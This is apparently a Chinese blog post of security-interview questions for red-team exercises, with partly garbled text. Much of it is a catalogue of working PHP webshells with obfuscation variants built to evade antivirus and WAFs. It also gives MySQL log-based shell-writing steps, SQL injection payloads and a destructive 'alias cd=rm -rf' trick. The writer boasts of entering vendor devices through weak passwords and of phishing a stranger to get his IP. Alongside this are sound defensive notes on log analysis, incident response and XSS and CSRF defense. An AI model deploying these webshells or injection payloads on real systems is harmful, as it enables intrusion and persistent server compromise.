护网面试题

MySQL注入写shell的条件

写入webshell

使用 select ‘payload’ into outfile ‘/path/to/webshell’

1.知道绝对路径,且MySQL服务所属用户(默认为mysql)对根目录有可写权限。

2.数据库用户File权限

3.MySQL账户有 File_priv 权限

判断: select * from information_schema.session_variables where

variable_name=’secure_file_priv’

配置文件: –secure-file-priv

该选项为空代表可以写入任何目录

该选项如果有文件夹目录则代表只允许写入该目录下文件(PS:测试子目录也不行)

该选项为null代表没有权限

UDF写入shell

使用 select ‘payload’ into outfile ‘/path/to/plugin_dir’

1.知道绝对路径,且mysql服务所属用户需要有插件目录( show variables like ‘%plugin%’ 查看目

录绝对路径)的写入权限,linux上mysql的plugin目录默认为root所有,权限为755。

2.数据库用户File权限

3.MySQL账户有 File_priv 权限(同上)

利用log写入

1.知道绝对路径

2.数据库用户需具备 Super 和 File 服务器权限

举例:

mysql5.0以下和5.0以上的版本区别

MySQL5.0版本增加了baiStored procedures、Views、Cursors、Triggers、XA transactions的支持,

增加了INFORATION_SCHEMA系统数据库。

常用回显报错注入函数

show variables like ‘%general%’; #查看配置

set global general_log = on; #开启general log模式

set global general_log_file = ‘E:/study/WWW/evil.php’; #设置日志目录为shell地址

select ‘<?php eval($_GET[g]);?>’ #写入shell

set global general_log=off; #关闭general log模式1. floor()

payload:

and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from

information_schema.tables group by x)a)

2. extractvalue()

extractvalue(目标xml文档,xml路径)

3. updatexml()

updatexml(1,concat(0x7e,(“SELECT` `@@version),0x7e),1)

4. geometrycollection()

geometrycollection((select * from(select * from (操作代码)a)b))

5. multipoint()

and multipoint (()select * from(select user() )a)b );

6. polygon()

and polygon (()select * from(select user ())a)b );

7. multipolygon()

and multpolygon (()select * from(selectuser () )a)b );

8. linestring()

and linestring (()select * from(select user() )a)b );

9. multilinestring()

and multlinestring (()select * from(selectuser () )a)b );

10. exp()

and exp(~(select * from (select user () ) a) );

11. NAME_CONST()

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select

name_const(@@version,0))b)c)

12. join

select * from(select * from mysql.user ajoin mysql.user b)c;如何获取网站根路径

phpinfo,php探针等信息泄露

debug模式(如thinkphp)

木马(或一句话)免杀

任意代码执行

传统的eval

其中eval就是执行命令的函数,官方给的说明是: eval — 把字符串作为PHP代码执行

函数eval()语言结构是 非常危险的,因为它允许执行任意 PHP 代码。

还有一点需要注意:因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。

可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一

个函数,从而当做函数来执行。

说的在通俗一点,就是如果你这样用 <?php $a=eval;$a() ?> 是不行的,所以变形免杀的时候不够灵

活。

assert,可以通过编码和拆分assert,assert在php7.0及其以上版本实际上并没有禁用,而是和eval

一样禁止拆分了

create_function,它的作用是创建一个匿名函数

/e修饰符

example:绕过D

<?php @eval($_GET[‘a’]) ?>

<?php @assert($_GET[‘a’]) ?>

<?php $st=@create_function(”,$_GET[‘a’]);$st();?>

<?php

function shadog($a){

$a($_POST[“shell”]);

}

shadog(assert);

?>

<?php @preg_replace(‘/.*/e’,$_GET[‘a’],”);?> //限定PHP5

<?php @preg_filter(‘/.*/e’,$_GET[‘a’],”);?> //限定PHP5

<?php @mb_ereg_replace(‘.*’,$_GET[‘a’],”,’ee’);?>

<?php @mb_eregi_replace(‘.*’,$_GET[‘a’],”,’ee’);?>

别名

<?php @mbereg_replace(‘.*’,$_GET[‘a’],”,’ee’);?>

<?php @mberegi_replace(‘.*’,$_GET[‘a’],”,’ee’);?>执行系统命令

system之类的很容易受到disable_functions影响,那么远程文件下载,文件上传,文件包含,反序列

都能当做隐蔽的后门维持方式。

回调函数

回调函数的本质是下面这种代码,以函数作为变量。

这样在php5中就可以a=assert&b=phpinfo();来执行任意代码,到了php7中,就需要create_function了

这个只有一个参数只能phpinfo

然后是那些必须自定义函数先转化数组,实质上就是 $_GET[‘a’]($_GET[‘b’]) ,所以也没啥用。

这里介绍些有用的

<?php

class create{

public $filter = [‘q’=>’_function’];

public $value = ”;

public function __construct(){

$this->value = $_GET[‘a’];

$name=get_class($this).$this->filter[‘q’];

$st=$name(”,$this->value);

$st();

}

}

$a = new create();

<?php `$_GET[a]`;?>

<?php system($_GET[‘a’]);?>

assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包

含断言的位置信息。当信息能够被其他方法捕获,使用断言可以让它更快更方便!

<?php $_GET[‘a’]($_GET[‘b’]);?>

<?php $st=$_GET[‘a’](”,$_GET[‘b’]);$st();?>

<?php @header_register_callback($_GET[‘a’]);?>

<?php @preg_replace_callback(“|.+|”,function($a){$_GET[‘a’]

($a[0]);},$_GET[‘b’]);?>

<?php @preg_replace_callback_array([‘|.+|’=>function($a){$_GET[‘a’]

($a[0]);}],$_GET[‘b’]);?>

<?php @mb_ereg_replace_callback(“.+”,function($a){$_GET[‘a’]

($a[0]);},$_GET[‘b’]);?>

<?php $arr=new arrayiterator(array($_GET[‘b’]));@iterator_apply($arr,function($a)

{$_GET[‘a’]($a[0]);},array($arr));?>

<?php $arr=array($_GET[‘b’]);@array_walk($arr,$_GET[‘a’]);?>相同功能函数替换

总结了一些

<?php $arr=array($_GET[‘b’]);@array_walk_recursive($arr,$_GET[‘a’]);?>

<?php $arr=array($_GET[‘b’],$_GET[‘b’]);@uasort($arr,$_GET[‘a’]);?>

<?php $arr=array($_GET[‘b’],$_GET[‘b’]);@usort($arr,$_GET[‘a’]);?>

<?php $arr=array(”=>1,$_GET[‘b’]=>2);@uksort($arr,$_GET[‘a’]);?> //如果用system要

$arr=array($_GET[‘b’]=>1,”=>2);

<?php @array_filter(array($_GET[‘b’]),$_GET[‘a’]);?>

<?php @array_map($_GET[‘a’],array($_GET[‘b’]));?>

<?php @array_reduce(array(1),$_GET[‘a’],$_GET[‘b’]);?>

<?php @array_udiff(array($_GET[‘b’]),array(1),$_GET[‘a’]);?>

<?php @array_udiff_assoc(array($_GET[‘b’]),array(1),$_GET[‘a’]);?>

<?php @array_udiff_uassoc(array($_GET[‘b’]),array(1),$_GET[‘a’],$_GET[‘a’]);?>

<?php

@array_diff_uassoc(array($_GET[‘b’]=>’1′),array($_GET[‘b’]=>’1′),$_GET[‘a’]);?>

<?php

@array_diff_ukey(array($_GET[‘b’]=>’1′),array($_GET[‘b’]=>’1′),$_GET[‘a’]);?>

<?php

@array_intersect_ukey(array($_GET[‘b’]=>’1′),array($_GET[‘b’]=>’1′),$_GET[‘a’]);?

>

<?php @array_intersect_uassoc(array($_GET[‘b’]=>”),array(”),$_GET[‘a’]);?>

<?php @array_uintersect(array($_GET[‘b’]),array(”),$_GET[‘a’]);?>

<?php

@array_uintersect_uassoc(array($_GET[‘b’]),array(”),$_GET[‘a’],$_GET[‘a’]);?>

<?php @array_uintersect_assoc(array($_GET[‘b’]),array(”),$_GET[‘a’]);?>

<?php @filter_var($_GET[‘b’],FILTER_CALLBACK,array(‘options’=>$_GET[‘a’]));?>

<?php

@filter_var_array(array(‘a’=>$_GET[‘b’]),array(‘a’=>array(‘filter’=>FILTER_CALLB

ACK,’options’=>$_GET[‘a’])));?>

<?php @filter_input(INPUT_GET, ‘b’, FILTER_CALLBACK, array(‘options’=>

($_GET[‘a’])));?>

<?php

@filter_input_array(INPUT_GET,array(‘b’=>array(‘filter’=>FILTER_CALLBACK,’option

s’=>$_GET[‘a’])));?>

<?php @call_user_func($_GET[‘a’],$_GET[‘b’]);?>

<?php @call_user_func_array($_GET[‘a’],array($_GET[‘b’]));?>

<?php @register_tick_function($_GET[‘a’],$_GET[‘b’]);declare(ticks=1);?>

<?php @register_shutdown_function($_GET[‘a’],$_GET[‘b’]);?>

<?php @forward_static_call_array($_GET[‘a’],array($_GET[‘b’]));?>

<?php class a{public function a($args)

{@forward_static_call($_GET[‘a’],$args);}}new a($_GET[‘b’]);?>

<?php @ob_start($_GET[‘a’]);echo $_GET[‘b’];ob_end_flush();?> //assert无回显如

回调函数

常见变形

定义函数

定义类

convert_uudecode() #解码一个 uuencode 编码的字符串。

convert_uuencode() #使用 uuencode 编码一个字符串。

ucwords() #函数把字符串中每个单词的首字符转换为大写。

strrev () #反转字符串

trim() #函数从字符串的两端删除空白字符和其他预定义字符。

substr_replace() #函数把字符串的一部分替换为另一个字符串

substr() #函数返回字符串的一部分。

strtr() #函数转换字符串中特定的字符。

strtoupper() #函数把字符串转换为大写。

strtolower() #函数把字符串转换为小写。

implode() #将一个一维数组的值转化为字符串。

str_rot13() #函数对字符串执行 ROT13 编码。

<?php

// 使用 uuencode 编码一个字符串

$a=convert_uuencode(“assert”);

$b=convert_uudecode($a);

$b($_POST[“shell”]);

?>

call_user_func_array()

call_user_func()

array_filter()

array_walk()

array_map()

registregister_shutdown_function()

register_tick_function()

filter_var()

filter_var_array()

uasort()

uksort()

array_reduce()

array_walk()

array_walk_recursive()

<?php

function shawaf($a,$b){

forward_static_call_array($a,$b);

}

shawaf(assert,array($_POST[“shell”]));

?>

<?php

class shawaf{特殊字符干扰

连接符

数组绕过

类绕过

var $a;

var $b;

function __construct($a,$b)

{

$this->a=$a;

$this->b=$b;

}

function test(){

forward_static_call_array($this->a,$this->b);

}

}

$s1= new shawaf(assert,array($_POST[“shell”]));

$s1->test();

?>

<?php

$a = $_POST[‘a’];

$b = “\n”;

eval($b.=$a);

?>

<?php

$a=strrev (“tressa”);

$b=[”=>$a($_POST[“shell”])];

?>

<?php

class shawaf

{

public $a = ”;

function __destruct(){

assert(“$this->a”);

}

}

$b = new shawaf;

$b->a = $_POST[“shell”];

?>编码绕过

PHP的多态性

如何防御xss

对提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态

输出到页面的内容进行html编码

最稳妥的方法是把所有输出点,输出之前都过滤一下html代码,建议用成熟的js库过滤,自己写的正则

容易出错。

如何防御csrf

验证 HTTP Referer 字段

在请求地址中添加 token 并验证

HTTP 头中自定义属性并验证

shiro漏洞

Redis漏洞

redis是不是有未授权访问嘛

就是啥。你可以直接连上Redis都不用密码啥的。

连进去就可以使用Redis的执行系统命令的功能。写入一句话啊。

或者权限大的。直接写入到计划任务。

注入bypass waf

<?php

$a = base64_decode(“YXNz+ZX____J____0”);

$a($_POST[“shell”]);

?>

<?php

file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));

<? php

(=@_GET[2]).@(_POST[1]);

and

=””;_[+””]=”;

=”_”.””;

=(_[+””]|””).([+””]|””).(_[+””]^””);

or

{‘_’.$_}[‘_’]({‘_’.$_}[‘__’]);如何发现Windows被克隆账号和添加隐藏账

看注册表。还有命令行。命令行里。$结尾的用户名是看不到的。

所以一般。看看注册表和计算机管理里的用户就行了。多出来的。

Windows被黑客远程登录了怎么找到登录ip

netstat -annetstat -anbo

445端口和3389的漏洞

445永恒之蓝 ms17010

3389可以爆破。

如何发现服务器中的一句话或者大马

webshell扫描器扫

文件比对怎么判断一句话连接工具

看user-agent

日志里面的。

有没有溯源经历

制作了个学习用的钓鱼网站,给一个网友说明这个是钓鱼网站,网友打开后我通过日志查看到了他的ip

地址,通过百度上的ip定位,判断他之前所说地址应该是真的。LinuxWindows加固的方法

chmod 755 /

锁权限

Windows提权和Linux提权

cve漏洞

比如man命令。或者find命令有suid。那么恭喜你。你可以随便提权。

udf提权了。mof提权了。计划任务提权了。这些是mysql的

Linux查看账号文件

/etc/passwd

/etc/shadow

Linux查看历史命令记录文件和命令

这个就是命令历史记录的文件。每个用户有一个。

在用户自己的家目录。.开头的文件在Linux上是隐藏文件,要使用ls -a选项才能查看。

命令嘛。就是history。写入历史命令到文件里面history -w,清空历史命令。history -c

linuxssh被爆破的应急响应

/var/log/secure,这个日志文件记录了验证和授权方面的信息,只要涉及账号和密码的程序都会记录下

来。

除root之外,是否还有其它特权用户(uid 为0)

awk -F: ‘$3==0{print $1}’ /etc/passwd

可以远程登录的帐号信息

awk ‘/\$1|\$6/{print $1}’ /etc/shadow处理措施

设置登录几次失败锁定

Linux中了挖矿病毒怎么解决

看进程。先找到进程。看看文件在哪。把挖矿病毒文件删了。然后干掉程序。在排查计划任务。

看/etc/crontab

还有/var/spool/

的cron里面

在等几分钟。如果挖矿木马没有重新出现在进程里。如果重新出现。说明失败。继续排查。

Linux查看网站日志

tail:查看后面几行

n 显示行数

f 持续侦测后面的内容,查看服务器日志常用

查看最新的服务日志(静态)

命令格式:tail -n 行数 日志文件

统计了下日志,发现登录失败的记录

grep -o “Failed password” /var/log/secure|uniq -c

输出登录爆破的第一行和最后一行,确认爆破时间范围:

grep “Failed password” /var/log/secure|head -1

进一步定位有哪些IP在爆破?

grep “Failed password” /var/log/secure|grep -E -o “(25[0-5]|2[0-4][0-9]|[01]?[0-

9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-

9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)”|uniq -c | sort -nr

爆破用户名字典都有哪些?

grep “Failed password” /var/log/secure|perl -e ‘while($_=<>){ /for(.*?) from/;

print “$1\n”;}’|uniq -c|sort -nr

登录成功的日期、用户名、IP:

grep “Accepted ” /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’

统计一下登录成功的IP有哪些

grep “Accepted ” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr

| more

1、禁止向公网开放管理端口,若必须开放应限定管理IP地址并加强口令安全审计(口令长度不低于8位,由数

字、大小写字母、特殊字符等至少两种以上组合构成)。

2、更改服务器ssh默认端口。

3、部署入侵检测设备,增强安全防护。查看最新的服务器日志(动态),如果有新内容写入,则持续读取

命令格式:tail -n 行数 -f 日志文件

使用关键字查找日志内容

命令格式:tail -n 行数 -f 日志文件 | grep 关键字

Linux查看CPU占用率

还能有啥命令。more呀。

使用top命令

使用vmstat命令

相比top命令,通过vmstat可以看到整个机器的 CPU,内存,IO的使用情况,而不是单单看到各个进程

的CPU使用率和内存使用率。

使用dstat命令

查看ssh登录日志

cd /var/log

less secure

Linux查看是否有其他ssh登录在线

tail -n 10 error.log

tail -n 10 -f error.log

tail -n 10 | grep TH201805987162

w查看登录成功的。使用last命令。

查看登录失败的使用。lastb命令。

这两个日志文件对应的命令。/var/log/wtmp

怎么看这两个文件对应的日志是哪个

man一下。查看帮助文档。

linux查看中间件日志

要看你配置文件配置的日志路径在哪。

默认就是这个。centos7的。其他Ubuntu可能不一样。

怎么分析Linux命令被替换

如果说。他只是改了。path环境变量。导致。。

path环境变量里面。他会从前往后找。

这就是Linuxpath环境变量啊。

Linux是冒号隔开的。

Windows是分号。Windows10直接都分开了。

他如果直接修改path环境变量的话。添加在最前面。比如ls

ls命令其实是在/usr/bin/ls这个位置的。

如果。添加了一个/tmp/ls

比如他把path环境变量改了。改成。/tmp/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin

这样。在最前面添加了一个tmp。那么他只需要吧exp放到tmp目录。改个名字。叫ls

那么你运行ls命令。

他会执行的是tmp目录下的ls

而不是真正的ls

还有一种就是啥。直接用exp修改成ls。然后替换掉/usr/bin/ls这个文件。

直接就把你文件替换了。这种只能使用文件包来校验。比如rpm啥的。我不会。还有可能是。。命令别名呢。alias来弄的。

为什么centos有ll命令ll是 ls -l –color=auto的别名。执行ll等于执行。ls -l –color=auto。不过一般不会吧。

有些人。就恶搞。alias cd=’rm -rf’

然后你cd /root

root目录就没了。

为什么Linux的。ls有语法高亮。

正常情况下是没有的。

因为你执行ls的时候。你其实执行的是ls –color=auto发现web日志里有大量域名或ip访问是什么情

ddos或者爬虫

burpintruderposition模块4个选项的意

白银票据攻击条件

黄金票据攻击

了解这两个票据攻击我们首先了解Kerberos认证

MS14-068

systeminfo |find “3011780”

以下来自其他师傅整理

Linux常用的命令:

\1. cd:切换当前目录

\2. ls:查看文件与目录的命令

\3. grep:该命令常用于分析一行的信息,若当中有我们所需要的信息,就将该行显示出来.

\4. find:是一个基于查找的功能非常强大的命令

\5. copy:复制

\6. mv: 该命令用于移动文件、目录或更名

\7. rm:该命令用于删除文件或目录 rm -rf 递归删除

\8. ps:该命令用于将某个时间点的进程运行情况选取下来并输出,

ps -aux # 查看系统所有的进程数据。

\9. Kill:杀死,终止

\10. Cat:该命令用于查看文本文件的内容,后接要查看的文件名

\11. Vim:编辑

12:Linux 给权限的命令:chmod,chown,chattr

13:Linux中最重要的三个命令在业界被称为“三剑客”,它们是awk,sed,grep。

14: 在Linux中设置定时任务(一次性任务):crontab -e

护网常见的漏洞:

Web十大漏洞:(1)注入 (2)失效的身份认证和会话管理 (3)XSS跨站脚本 (4)失效的访问控制

(5)安全配置错误 (6)敏感信息泄露

(7) 攻击检测与防护不足 (8)跨站请求伪造 (9) 使用含有已知漏洞的组件 (10)未受有效保护

的API 新增一个 (11)XXE外部实体注入 SQL注入:SQL注入就是把SQL命令插入到Web表单然后提交到所在页面请求(查询字符串),从而达

到欺骗服务器执行恶意的SQL命令

SQL注入类型 :

提交类型:1.GET 2.POST 3.HTTP头 4.COOKIE

两大类:1.显错注入(union) 2.盲注(1.基于布尔的盲注 2.基于报错的注入 3.基于延时的注入)

• 4.防御和修复方法:

(1)严格的数据类型

(2)字符转义

(3)使用预编译语句

(4)存储过程

XSS(跨站脚本攻击): 攻击者往Web页面里插入恶意html标签或者javascript代码。分别是反射型

XSS、持久型XSS和DOM XSS

CSRF跨站伪造请求攻击:利用已登录的用户身份,以用户的名义发送恶意请求,完成非法操作,防御和

修复方法:(1)利用验证码验证添加referer (2)添加token

(2) DDOS:分布式拒绝服务攻击:攻击者想办法让目标服务器的磁盘空间、内存、进程、网络带宽等

资源被占满,从而导致正常用户无法访问。防御:每一个IP地址分配一个“Cookie”,并统计每个IP地址

的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个

IP地址的包将被丢弃。

SSRF服务端请求伪造攻击: 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,

SSRF攻击的目标是从外网无法访问的内部系统。ssrf漏洞的成因、防御、绕过: 成因:模拟服务器对其

他服务器资源进行请求,没有做合法性验证。利用:构造恶意内网IP做探测,或者使用其余所支持的协

议对其余服务进行攻击。防御:禁止跳转,限制协议,内外网限制,URL限制。绕过:使用不同协议,

针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的

XXE外部实体注入:应用程序允许引用外部实体,构造恶意内容,导致文件读取,系统命令执行,内网

端口探测,攻击内网等

宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造?

在mysql中使用了gbk编码,占用2个字节,而mysql的一种特性,GBK是多字节编码,它认为两个字节就代

表一个汉字,所以%df时候会和转义符\ %5c进行结合,所以单引号就逃逸了出来,当第一个字节的ascii码

大于128,就可以了。

应急响应的流程: 1.准备相关的工具 2.初步判断事件类型,事件等级。 3.抑制范围,隔离使爱害面不继续

扩大 4.查找原因,封堵攻击源。 5.业务恢复正常水平. 6.总结,报告,并修复、监控

安全狗 d盾 云锁 360网站安全检测 护卫神 傻蛋 钟馗之眼 佛法 腾讯哈勃分析 云盾 知道创宇百度加速乐

深信服 天融信 华为 h3c vpn跟路由器页面差不多之类的玩意我也叫不少了名字 我之前网上全自动话工

具扫过不少厂商的设备弱口令进去瞎鸡巴捣鼓过 改过上面的dns解析服务器 还有这公安局有个舆情检测

的系统 能看到QQ聊天微博 这些的记录 我也忘了叫啥名字了 网页防串改 安全狗 护卫神

1.mysq1注入写shel1的条件

root权限

2.mysql数据库5.0一下和5.1以上的版本注入有什么区别

5.0以上可以直接读取表名

3.常用的显错注入函数

floor(、 extractvalueO、 updatexmlO.

geometrycollection O、 multipoint(.

polygonO、multipolygon(、linestring(O、

multilinestring(、exp()4.如何获取网站根路径

robots. txt 御剑那些工具一扫就出来了cms识别 常用网站路径字典暴利扫描 web漏洞报错 敏感文件 谷

歌语法 中间件默认路径 猜 配合漏洞 如代码执行直接执行phpinfo函数

5.说说你了解的木马免杀方法(或者一句话免杀)

源码免杀,二进制免杀,加载器免杀,特征码免杀 加壳 加数字签名 加花指令变形,从建输入表,加壳

压缩,eval等函数,拆分组合

6.如何防御xss

对输出页面的数据进行编码转换、过滤特殊符号等

7.防御csrf

服务器进行token、refere来源验证

8.shiro漏洞了解吗

9.redis漏洞了解吗

通过redis未授权访问可以执行命令并替换ssh密钥或写shell

10.对注入byass waf的方法

编码绕过、内联注释、参数污染、模糊测试

11.如何发现Windows被克隆账号和添加隐藏账号

11、从用户组,安全狗,d盾

12.windows被黑客远程登录了,怎么找到登录ip

查看mstsc登录日志或者安全狗 d盾

13.列举下445端口的和3389的漏洞

13、ms-08-067、ms17-010

14.如何发现服务器中的一句话或者大马

安全狗,d盾,护网神等

15.怎么判断一句话连接工具

网站上面有一句话木马就肯定是一句话连接器连接的

16.Linux加固和windows加固的方法

常用的安全软件都装上,出现漏洞及时打补丁,没有用的端口用防火墙全部封掉,只留几个常用对外的

端口,例如80 3389 443 22

3389 跟22这些远程端口可设置白名单 限制只能指定ip登录等等

有没有溯源经历

有,查看安全设备报警,日志流量分析,服务器异常的资源,钓鱼邮寄,蜜罐系统等获取攻击者的ip,

id,URL,恶意样本,社交账号等,然后确定攻击者的目的是获取利益还是ddos还是窃取数据等,然后

把攻击者身份体征 虚拟身份 真实身份 联系方式 QQ微信 家庭住址得到,必要的情况下直接报警

17.Windows提权和linux提权

17、Linux:修改密码长度复杂度与有效期、禁用删除无用账号、检查特殊账户、设置会话超时、禁止

root通过ssh登录隐藏系统版本、关闭不必要的服务

Windows:提权方法一大堆网上提权工具一大堆,最简单是命令行添加用户,开启远程端口,或者丢个

木马上去直接执行

18.linux查看账号文件

/etc/passwd

19.linux查看历史命令记录文件和命令

history命令

20.linux中ssh被爆破的的应急解决

21.linux中挖矿病毒怎么分析解决

22.linux查看网站日志

阿帕奇 NGINX kangle Zeus Tomcat 你特妈的要看那个web服务器日志?百度一下不就知道了吗?

23.linux查看cpu的占用率

top 命令

24.linux查看ssh登录日志

linux查看日志:cd /var/logless secure或者less messages最近登录的日志:last25.linux查看是否有其他ssh登录在线

26.linux查看中间件的日志

27.怎么分析linux命令被替换

28.发现web日志里有大量域名或ip访问是什么情况

服务器空主机头被人解析了,被采集了,被cc攻击

29.burp的intruder的Positions模块4个选项的意思

30.内网横向移动和纵向移动

31.如何获取内网中的机器数量

利用网上一些黑客工具或者批处理批量ping内网所有ip最后用Arp -a命令,查询MAC数据 除去尾数为255

的广播地址,剩下的就是当前电脑的在线列表

白银票据攻击需要的条件

1.dc的ip地址

2.域的sid

3.域控机的hash

4.伪造票据

黄金票据攻击

获取krbtst的hash和域的sid信息

域渗透过程

了解mimikatz工具吗

有没有使用过厂商的设备

都是垃圾从来不用,厂商设备都自带漏洞,自己都保护不了,还保护别人?

reference:

1.https://zhuanlan.zhihu.com/p/161293076

2.https://www.cnblogs.com/lxfweb/p/13663926.html

3.https://www.cnblogs.com/ingd/p/7222434.html

4.https://blog.csdn.net/weixin_30883271/article/details/94789167

5.https://blog.csdn.net/weixin_33694172/article/details/91429682

6.https://www.cnblogs.com/anbus/p/9988560.html

7.https://www.cnblogs.com/xiaozi/p/9561423.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注